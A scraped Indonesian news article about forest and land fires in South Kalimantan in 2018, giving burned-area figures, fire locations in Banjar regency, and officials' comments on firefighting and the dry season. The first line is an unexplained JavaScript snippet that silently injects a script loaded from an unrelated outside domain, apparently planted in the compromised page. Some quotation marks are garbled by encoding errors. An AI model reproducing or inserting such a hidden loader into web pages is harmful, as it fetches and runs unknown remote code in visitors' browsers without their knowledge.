(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Upaya maksimal terus dilakukan Pemprov Kalsel bersama BPBD Kalsel, TNI/Polri, dan instansi terkait untuk meminimalisir kebakaran hutan dan lahan (Karhutlah). Sebab tercatat hingga Agustus 2018 ini telah terjadi setidaknya lebih dari 361 kali kebakaran dengan luasan lahan terbakar lebih dari 1.265 hektare.
Asisten I Bidang Pemerintahan Sekretariat Daerah Provinsi (Setdaprov) Kalsel Siswansyah menerangkan, kebakaran lahan seluas 1.265 ha lebih itu terjadi antara 1 Januari – 23 Agustus 2018. Kajadiannya tersebar di kabupaten/kota.
“Untuk luasan lahan kebakaran tentunya berbeda-beda pada masing-masing daerah. Dari terkecil 2 hektare hingga terluas 338,6 ha,” terang Siswansyah. (Lihat Grafis: Luasan Karhutla di Kabupaten/Kota, Red).
Dia memperkirakan, kebakaran hutan dan lahan di provinsinya yang luas wilayah sekitar 3,7 juta ha itu akan terus bertambah bila musim panas/kemarau masih panjang. Terkait hal ini, pihaknya menghimbau semua lapisan masyarakat agar bersama-sama meningkatkan kewaspadaan serta menjaga supaya jangan terjadi kebakaran hutan dan lahan. “Walaupun misalnya terjadi juga kebakaran hutan dan lahan karena tidak bisa terhindari, tetapi setidaknya kita semua berusaha meminimalkan,” harapnya.
Di sisi lain, Plt Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar I Gusti Nyoman Yudiana mengatakan, titik-titik api di Kabupaten Banjar tersebar seperti di kawasan Desa Indra Sari Kecamatan Martapura, kawasan di belakang Polsek Desa Sungai Rangas Martapura Barat, jalan Gebernur Sarkawi Gambut, dan terakhir di Desa Tungkaran dan Desa Indrasari Kecamatan Martapura Kota.
“Kami monitor banyak sekali titik api yang di padamkan hingga sampai Agustus ini. Terakhir hingga kemarin yang ada di kawasan Tungkaran dan Indra Sari malam tadi hingga pukul 21.00 Wita api sudah kami kuasai sepenuhnya,†ujarnya.
Ditambahkan Nyoman, dalam melakukan aksi pemadaman di kawasan hutan dan lahan ini tidak hanya dilakukan oleh BPBD Kabupaten Banjar saja. Namun juga melibatkan TNI, POLRI, PMI, Satpol PP, Linmas, masyarakat dan pemadam kebakaran di Kabupaten Banjar.
Adapun kebakaran yang melanda Kabupaten Banjar sejak beberapa bulan yang lalu disinyalir diakibatkan oleh dua factor seperti oknum yang belum tertangkap dan factor alam sehingga menyebabkan tingginya angka kebakaran tersebut.
“Prediksi BMKG jika dilihat berdasarkan musim kemarau tingkat kebakaran mungkin akan terus berlanjut dan mulai menurun hingga awal September,†sahut Nyoman.
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.